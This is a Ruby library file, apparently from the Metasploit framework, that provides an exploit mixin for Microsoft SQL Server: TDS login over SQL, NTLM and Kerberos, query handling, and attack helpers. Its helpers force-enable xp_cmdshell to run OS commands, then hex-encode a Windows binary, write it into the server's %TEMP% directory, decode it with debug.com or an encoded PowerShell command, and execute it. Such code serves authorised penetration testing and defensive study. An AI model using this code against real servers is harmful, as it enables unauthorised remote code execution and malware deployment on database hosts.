727 lines
21 KiB
Ruby
727 lines
21 KiB
Ruby
# -*- coding: binary -*-
|
|
|
|
require 'metasploit/framework/mssql/base'
|
|
|
|
module Msf
|
|
|
|
###
|
|
#
|
|
# This module exposes methods for querying a remote MSSQL service
|
|
#
|
|
###
|
|
module Exploit::Remote::MSSQL
|
|
|
|
include Exploit::Remote::MSSQL_COMMANDS
|
|
include Exploit::Remote::Udp
|
|
include Exploit::Remote::Tcp
|
|
include Exploit::Remote::NTLM::Client
|
|
include Metasploit::Framework::MSSQL::Base
|
|
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
|
|
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
|
|
|
|
#
|
|
# Creates an instance of a MSSQL exploit module.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
# Register the options that all MSSQL exploits may make use of.
|
|
register_options(
|
|
[
|
|
Opt::RHOST,
|
|
Opt::RPORT(1433),
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
|
|
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
|
|
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]),
|
|
], Msf::Exploit::Remote::MSSQL)
|
|
register_advanced_options(
|
|
[
|
|
OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk",
|
|
File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b")
|
|
]),
|
|
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'], aliases: ['MssqlDomain']),
|
|
*kerberos_storage_options(protocol: 'Mssql'),
|
|
*kerberos_auth_options(protocol: 'Mssql', auth_methods: Msf::Exploit::Remote::AuthOption::MSSQL_OPTIONS),
|
|
], Msf::Exploit::Remote::MSSQL)
|
|
register_autofilter_ports([ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ])
|
|
register_autofilter_services(%W{ ms-sql-s ms-sql2000 sybase })
|
|
end
|
|
|
|
|
|
#
|
|
# This method sends a UDP query packet to the server and
|
|
# parses out the reply packet into a hash
|
|
#
|
|
def mssql_ping(timeout=5)
|
|
data = { }
|
|
|
|
ping_sock = Rex::Socket::Udp.create(
|
|
'PeerHost' => rhost,
|
|
'PeerPort' => 1434,
|
|
'Context' =>
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
})
|
|
|
|
ping_sock.put("\x02")
|
|
resp, _saddr, _sport = ping_sock.recvfrom(65535, timeout)
|
|
ping_sock.close
|
|
|
|
return data if not resp
|
|
return data if resp.length == 0
|
|
|
|
return mssql_ping_parse(resp)
|
|
end
|
|
|
|
#
|
|
# Parse a 'ping' response and format as a hash
|
|
#
|
|
def mssql_ping_parse(data)
|
|
res = []
|
|
var = nil
|
|
idx = data.index('ServerName')
|
|
return res if not idx
|
|
sdata = data[idx, (data.length - 1)]
|
|
|
|
instances = sdata.split(';;')
|
|
instances.each do |instance|
|
|
rinst = {}
|
|
instance.split(';').each do |d|
|
|
if (not var)
|
|
var = d
|
|
else
|
|
if (var.length > 0)
|
|
rinst[var] = d
|
|
var = nil
|
|
end
|
|
end
|
|
end
|
|
res << rinst
|
|
end
|
|
|
|
return res
|
|
end
|
|
|
|
#
|
|
# Execute a system command via xp_cmdshell
|
|
#
|
|
def mssql_xpcmdshell(cmd, doprint=false, opts={})
|
|
force_enable = false
|
|
begin
|
|
res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", false, opts)
|
|
if res[:errors] && !res[:errors].empty?
|
|
if res[:errors].join =~ /xp_cmdshell/
|
|
if force_enable
|
|
print_error("The xp_cmdshell procedure is not available and could not be enabled")
|
|
raise RuntimeError, "Failed to execute command"
|
|
else
|
|
print_status("The server may have xp_cmdshell disabled, trying to enable it...")
|
|
mssql_query(mssql_xpcmdshell_enable())
|
|
raise RuntimeError, "xp_cmdshell disabled"
|
|
end
|
|
end
|
|
end
|
|
|
|
mssql_print_reply(res) if doprint
|
|
|
|
return res
|
|
|
|
rescue RuntimeError => e
|
|
if e.to_s =~ /xp_cmdshell disabled/
|
|
force_enable = true
|
|
retry
|
|
end
|
|
raise e
|
|
end
|
|
end
|
|
|
|
#
|
|
# Upload and execute a Windows binary through MSSQL queries
|
|
#
|
|
def mssql_upload_exec(exe, debug=false)
|
|
hex = exe.unpack("H*")[0]
|
|
|
|
var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
print_status("Writing the debug.com loader to the disk...")
|
|
h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY']))
|
|
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
|
|
h2b.split(/\n/).each do |line|
|
|
mssql_xpcmdshell("#{line}", false)
|
|
end
|
|
|
|
print_status("Converting the debug script to an executable...")
|
|
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
|
|
|
|
print_status("Uploading the payload, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
|
|
print_status("Converting the encoded payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
end
|
|
|
|
|
|
#
|
|
# Upload and execute a Windows binary through MSSQL queries and Powershell
|
|
#
|
|
def powershell_upload_exec(exe, debug=false)
|
|
|
|
# hex converter
|
|
hex = exe.unpack("H*")[0]
|
|
# create random alpha 8 character names
|
|
#var_bypass = rand_text_alpha(8)
|
|
var_payload = rand_text_alpha(8)
|
|
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
|
|
# our payload converter, grabs a hex file and converts it to binary for us through powershell
|
|
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
|
|
h2b_unicode=Rex::Text.to_unicode(h2b)
|
|
# base64 encode it, this allows us to perform execution through powershell without registry changes
|
|
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
|
|
print_status("Uploading the payload #{var_payload}, please be patient...")
|
|
idx = 0
|
|
cnt = 500
|
|
while(idx < hex.length - 1)
|
|
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
|
|
idx += cnt
|
|
end
|
|
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
|
|
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
|
|
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
|
|
print_status("Executing the payload...")
|
|
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
|
|
print_status("Be sure to cleanup #{var_payload}.exe...")
|
|
end
|
|
|
|
#
|
|
#this method send a prelogin packet and check if encryption is off
|
|
#
|
|
def mssql_prelogin(enc_error=false)
|
|
|
|
pkt = ""
|
|
pkt_hdr = ""
|
|
pkt_data_token = ""
|
|
pkt_data = ""
|
|
|
|
|
|
pkt_hdr = [
|
|
TYPE_PRE_LOGIN_MESSAGE, #type
|
|
STATUS_END_OF_MESSAGE, #status
|
|
0x0000, #length
|
|
0x0000, # SPID
|
|
0x00, # PacketID
|
|
0x00 #Window
|
|
]
|
|
|
|
version = [0x55010008, 0x0000].pack("Vv")
|
|
encryption = ENCRYPT_NOT_SUP # off
|
|
instoptdata = "MSSQLServer\0"
|
|
|
|
threadid = "\0\0" + Rex::Text.rand_text(2)
|
|
|
|
idx = 21 # size of pkt_data_token
|
|
pkt_data_token << [
|
|
0x00, # Token 0 type Version
|
|
idx, # VersionOffset
|
|
version.length, # VersionLength
|
|
|
|
0x01, # Token 1 type Encryption
|
|
idx = idx + version.length, # EncryptionOffset
|
|
0x01, # EncryptionLength
|
|
|
|
0x02, # Token 2 type InstOpt
|
|
idx = idx + 1, # InstOptOffset
|
|
instoptdata.length, # InstOptLength
|
|
|
|
0x03, # Token 3 type Threadid
|
|
idx + instoptdata.length, # ThreadIdOffset
|
|
0x04, # ThreadIdLength
|
|
|
|
0xFF
|
|
].pack("CnnCnnCnnCnnC")
|
|
|
|
pkt_data << pkt_data_token
|
|
pkt_data << version
|
|
pkt_data << encryption
|
|
pkt_data << instoptdata
|
|
pkt_data << threadid
|
|
|
|
pkt_hdr[2] = pkt_data.length + 8
|
|
|
|
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
|
|
|
|
resp = mssql_send_recv(pkt)
|
|
|
|
idx = 0
|
|
|
|
while resp && resp[0, 1] != "\xff" && resp.length > 5
|
|
token = resp.slice!(0, 5)
|
|
token = token.unpack("Cnn")
|
|
idx -= 5
|
|
if token[0] == 0x01
|
|
idx += token[1]
|
|
break
|
|
end
|
|
end
|
|
|
|
if idx > 0
|
|
encryption_mode = resp[idx, 1].unpack("C")[0]
|
|
else
|
|
# force to ENCRYPT_NOT_SUP and hope for the best
|
|
encryption_mode = ENCRYPT_NOT_SUP
|
|
end
|
|
|
|
if encryption_mode != ENCRYPT_NOT_SUP && enc_error
|
|
raise RuntimeError,"Encryption is not supported"
|
|
end
|
|
encryption_mode
|
|
end
|
|
|
|
#
|
|
# This method connects to the server over TCP and attempts
|
|
# to authenticate with the supplied username and password
|
|
# The global socket is used and left connected after auth
|
|
#
|
|
def mssql_login(user='sa', pass='', db='')
|
|
|
|
disconnect if self.sock
|
|
connect
|
|
|
|
begin
|
|
# Send a prelogin packet and check that encryption is not enabled
|
|
if mssql_prelogin != ENCRYPT_NOT_SUP
|
|
print_error('Encryption is not supported')
|
|
return false
|
|
end
|
|
rescue EOFError
|
|
print_error('Probable server or network failure')
|
|
return false
|
|
end
|
|
|
|
if datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
|
|
idx = 0
|
|
pkt = ''
|
|
pkt_hdr = ''
|
|
pkt_hdr = [
|
|
TYPE_TDS7_LOGIN, #type
|
|
STATUS_END_OF_MESSAGE, #status
|
|
0x0000, #length
|
|
0x0000, # SPID
|
|
0x01, # PacketID (unused upon specification
|
|
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
|
|
0x00 #Window
|
|
]
|
|
|
|
pkt << [
|
|
0x00000000, # Size
|
|
0x71000001, # TDS Version
|
|
0x00000000, # Dummy Size
|
|
0x00000007, # Version
|
|
rand(1024+1), # PID
|
|
0x00000000, # ConnectionID
|
|
0xe0, # Option Flags 1
|
|
0x83, # Option Flags 2
|
|
0x00, # SQL Type Flags
|
|
0x00, # Reserved Flags
|
|
0x00000000, # Time Zone
|
|
0x00000000 # Collation
|
|
].pack('VVVVVVCCCCVV')
|
|
|
|
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
|
|
sname = Rex::Text.to_unicode( rhost )
|
|
|
|
fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using Kerberos authentication.') if datastore['Mssql::Rhostname'].blank?
|
|
fail_with(Msf::Exploit::Failure::BadConfig, 'The DOMAIN option is required when using Kerberos authentication.') if datastore['DOMAIN'].blank?
|
|
fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?
|
|
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['MssqlKrbOfferedEncryptionTypes'])
|
|
fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty?
|
|
|
|
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
|
|
host: datastore['DomainControllerRhost'],
|
|
hostname: datastore['Mssql::Rhostname'],
|
|
proxies: datastore['Proxies'],
|
|
mssql_port: rport,
|
|
realm: datastore['MssqlDomain'],
|
|
username: datastore['username'],
|
|
password: datastore['password'],
|
|
framework: framework,
|
|
framework_module: self,
|
|
cache_file: datastore['Mssql::Krb5Ccname'].blank? ? nil : datastore['Mssql::Krb5Ccname'],
|
|
ticket_storage: kerberos_ticket_storage,
|
|
offered_etypes: offered_etypes
|
|
)
|
|
|
|
kerberos_result = kerberos_authenticator.authenticate
|
|
ssp_security_blob = kerberos_result[:security_blob]
|
|
|
|
idx = pkt.size + 50 # lengths below
|
|
|
|
pkt << [idx, cname.length / 2].pack('vv')
|
|
idx += cname.length
|
|
|
|
pkt << [0, 0].pack('vv') # User length offset must be 0
|
|
pkt << [0, 0].pack('vv') # Password length offset must be 0
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, sname.length / 2].pack('vv')
|
|
idx += sname.length
|
|
|
|
pkt << [0, 0].pack('vv') # unused
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, 0].pack('vv') # locales
|
|
|
|
pkt << [idx, 0].pack('vv') #db
|
|
|
|
# ClientID (should be mac address)
|
|
pkt << Rex::Text.rand_text(6)
|
|
|
|
# SSP
|
|
pkt << [idx, ssp_security_blob.length].pack('vv')
|
|
idx += ssp_security_blob.length
|
|
|
|
pkt << [idx, 0].pack('vv') # AtchDBFile
|
|
|
|
pkt << cname
|
|
pkt << aname
|
|
pkt << sname
|
|
pkt << aname
|
|
pkt << ssp_security_blob
|
|
|
|
# Total packet length
|
|
pkt[0, 4] = [pkt.length].pack('V')
|
|
|
|
pkt_hdr[2] = pkt.length + 8
|
|
|
|
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
|
|
|
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
|
|
# has a strange behavior that differs from the specifications
|
|
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
|
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication
|
|
resp = mssql_send_recv(pkt, 15, false)
|
|
|
|
info = {:errors => []}
|
|
info = mssql_parse_reply(resp, info)
|
|
|
|
return false if not info
|
|
return info[:login_ack] ? true : false
|
|
elsif datastore['Mssql::Auth'] == Msf::Exploit::Remote::AuthOption::NTLM || datastore['USE_WINDOWS_AUTHENT']
|
|
idx = 0
|
|
pkt = ''
|
|
pkt_hdr = ''
|
|
pkt_hdr = [
|
|
TYPE_TDS7_LOGIN, #type
|
|
STATUS_END_OF_MESSAGE, #status
|
|
0x0000, #length
|
|
0x0000, # SPID
|
|
0x01, # PacketID (unused upon specification
|
|
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
|
|
0x00 #Window
|
|
]
|
|
|
|
pkt << [
|
|
0x00000000, # Size
|
|
0x71000001, # TDS Version
|
|
0x00000000, # Dummy Size
|
|
0x00000007, # Version
|
|
rand(1024+1), # PID
|
|
0x00000000, # ConnectionID
|
|
0xe0, # Option Flags 1
|
|
0x83, # Option Flags 2
|
|
0x00, # SQL Type Flags
|
|
0x00, # Reserved Flags
|
|
0x00000000, # Time Zone
|
|
0x00000000 # Collation
|
|
].pack('VVVVVVCCCCVV')
|
|
|
|
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
|
|
sname = Rex::Text.to_unicode( rhost )
|
|
dname = Rex::Text.to_unicode( db )
|
|
|
|
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
|
|
|
|
ntlm_client = ::Net::NTLM::Client.new(
|
|
user,
|
|
pass,
|
|
workstation: workstation_name,
|
|
domain: datastore['DOMAIN'],
|
|
)
|
|
type1 = ntlm_client.init_context
|
|
# SQL 2012, at least, does not support KEY_EXCHANGE
|
|
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
|
|
ntlmsspblob = type1.serialize
|
|
|
|
idx = pkt.size + 50 # lengths below
|
|
|
|
pkt << [idx, cname.length / 2].pack('vv')
|
|
idx += cname.length
|
|
|
|
pkt << [0, 0].pack('vv') # User length offset must be 0
|
|
pkt << [0, 0].pack('vv') # Password length offset must be 0
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, sname.length / 2].pack('vv')
|
|
idx += sname.length
|
|
|
|
pkt << [0, 0].pack('vv') # unused
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, 0].pack('vv') # locales
|
|
|
|
pkt << [idx, 0].pack('vv') #db
|
|
|
|
# ClientID (should be mac address)
|
|
pkt << Rex::Text.rand_text(6)
|
|
|
|
# NTLMSSP
|
|
pkt << [idx, ntlmsspblob.length].pack('vv')
|
|
idx += ntlmsspblob.length
|
|
|
|
pkt << [idx, 0].pack('vv') # AtchDBFile
|
|
|
|
pkt << cname
|
|
pkt << aname
|
|
pkt << sname
|
|
pkt << aname
|
|
pkt << ntlmsspblob
|
|
|
|
# Total packet length
|
|
pkt[0, 4] = [pkt.length].pack('V')
|
|
|
|
pkt_hdr[2] = pkt.length + 8
|
|
|
|
pkt = pkt_hdr.pack("CCnnCC") + pkt
|
|
|
|
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
|
|
# has a strange behavior that differs from the specifications
|
|
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
|
|
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentication
|
|
resp = mssql_send_recv(pkt, 15, false)
|
|
|
|
unless resp.include?("NTLMSSP")
|
|
info = {:errors => []}
|
|
mssql_parse_reply(resp, info)
|
|
mssql_print_reply(info)
|
|
return false
|
|
end
|
|
|
|
# Get default data
|
|
resp = resp[3..-1]
|
|
type3 = ntlm_client.init_context([resp].pack('m'))
|
|
type3_blob = type3.serialize
|
|
|
|
# Create an SSPIMessage
|
|
idx = 0
|
|
pkt = ''
|
|
pkt_hdr = ''
|
|
pkt_hdr = [
|
|
TYPE_SSPI_MESSAGE, #type
|
|
STATUS_END_OF_MESSAGE, #status
|
|
0x0000, #length
|
|
0x0000, # SPID
|
|
0x01, # PacketID
|
|
0x00 #Window
|
|
]
|
|
|
|
pkt_hdr[2] = type3_blob.length + 8
|
|
|
|
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
|
|
|
|
resp = mssql_send_recv(pkt)
|
|
|
|
|
|
#SQL Server authentication
|
|
else
|
|
idx = 0
|
|
pkt = ''
|
|
pkt << [
|
|
0x00000000, # Dummy size
|
|
|
|
0x71000001, # TDS Version
|
|
0x00000000, # Size
|
|
0x00000007, # Version
|
|
rand(1024+1), # PID
|
|
0x00000000, # ConnectionID
|
|
0xe0, # Option Flags 1
|
|
0x03, # Option Flags 2
|
|
0x00, # SQL Type Flags
|
|
0x00, # Reserved Flags
|
|
0x00000000, # Time Zone
|
|
0x00000000 # Collation
|
|
].pack('VVVVVVCCCCVV')
|
|
|
|
|
|
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
uname = Rex::Text.to_unicode( user )
|
|
pname = mssql_tds_encrypt( pass )
|
|
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
|
|
sname = Rex::Text.to_unicode( rhost )
|
|
dname = Rex::Text.to_unicode( db )
|
|
|
|
idx = pkt.size + 50 # lengths below
|
|
|
|
pkt << [idx, cname.length / 2].pack('vv')
|
|
idx += cname.length
|
|
|
|
pkt << [idx, uname.length / 2].pack('vv')
|
|
idx += uname.length
|
|
|
|
pkt << [idx, pname.length / 2].pack('vv')
|
|
idx += pname.length
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, sname.length / 2].pack('vv')
|
|
idx += sname.length
|
|
|
|
pkt << [0, 0].pack('vv')
|
|
|
|
pkt << [idx, aname.length / 2].pack('vv')
|
|
idx += aname.length
|
|
|
|
pkt << [idx, 0].pack('vv')
|
|
|
|
pkt << [idx, dname.length / 2].pack('vv')
|
|
idx += dname.length
|
|
|
|
# The total length has to be embedded twice more here
|
|
pkt << [
|
|
0,
|
|
0,
|
|
0x12345678,
|
|
0x12345678
|
|
].pack('vVVV')
|
|
|
|
pkt << cname
|
|
pkt << uname
|
|
pkt << pname
|
|
pkt << aname
|
|
pkt << sname
|
|
pkt << aname
|
|
pkt << dname
|
|
|
|
# Total packet length
|
|
pkt[0, 4] = [pkt.length].pack('V')
|
|
|
|
# Embedded packet lengths
|
|
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
|
|
|
|
# Packet header and total length including header
|
|
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
|
|
|
|
begin
|
|
resp = mssql_send_recv(pkt)
|
|
rescue EOFError
|
|
print_error('Probable server or network failure')
|
|
return false
|
|
end
|
|
end
|
|
|
|
info = {:errors => []}
|
|
info = mssql_parse_reply(resp, info)
|
|
|
|
return false if not info
|
|
info[:login_ack] ? true : false
|
|
end
|
|
|
|
#
|
|
# Login to the SQL server using the standard USERNAME/PASSWORD options
|
|
#
|
|
def mssql_login_datastore(db='')
|
|
mssql_login(datastore['USERNAME'], datastore['PASSWORD'], db)
|
|
end
|
|
|
|
#
|
|
# Issue a SQL query using the TDS protocol
|
|
#
|
|
def mssql_query(sqla, doprint=false, opts={})
|
|
info = { :sql => sqla }
|
|
|
|
opts[:timeout] ||= 15
|
|
|
|
pkts = []
|
|
idx = 0
|
|
|
|
bsize = 4096 - 8
|
|
chan = 0
|
|
|
|
@cnt ||= 0
|
|
@cnt += 1
|
|
|
|
sql = Rex::Text.to_unicode(sqla)
|
|
while(idx < sql.length)
|
|
buf = sql[idx, bsize]
|
|
flg = buf.length < bsize ? "\x01" : "\x00"
|
|
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
|
|
idx += bsize
|
|
|
|
end
|
|
|
|
resp = mssql_send_recv(pkts.join, opts[:timeout])
|
|
mssql_parse_reply(resp, info)
|
|
mssql_print_reply(info) if doprint
|
|
info
|
|
end
|
|
|
|
#
|
|
# Nicely print the results of a SQL query
|
|
#
|
|
def mssql_print_reply(info)
|
|
|
|
print_status("SQL Query: #{info[:sql]}")
|
|
|
|
if info[:done] && info[:done][:rows].to_i > 0
|
|
print_status("Row Count: #{info[:done][:rows]} (Status: #{info[:done][:status]} Command: #{info[:done][:cmd]})")
|
|
end
|
|
|
|
if info[:errors] && !info[:errors].empty?
|
|
info[:errors].each do |err|
|
|
print_error(err)
|
|
end
|
|
end
|
|
|
|
if info[:rows] && !info[:rows].empty?
|
|
|
|
tbl = Rex::Text::Table.new(
|
|
'Indent' => 1,
|
|
'Header' => "",
|
|
'Columns' => info[:colnames],
|
|
'SortIndex' => -1
|
|
)
|
|
|
|
info[:rows].each do |row|
|
|
tbl << row
|
|
end
|
|
|
|
print_line(tbl.to_s)
|
|
end
|
|
end
|
|
end
|
|
end
|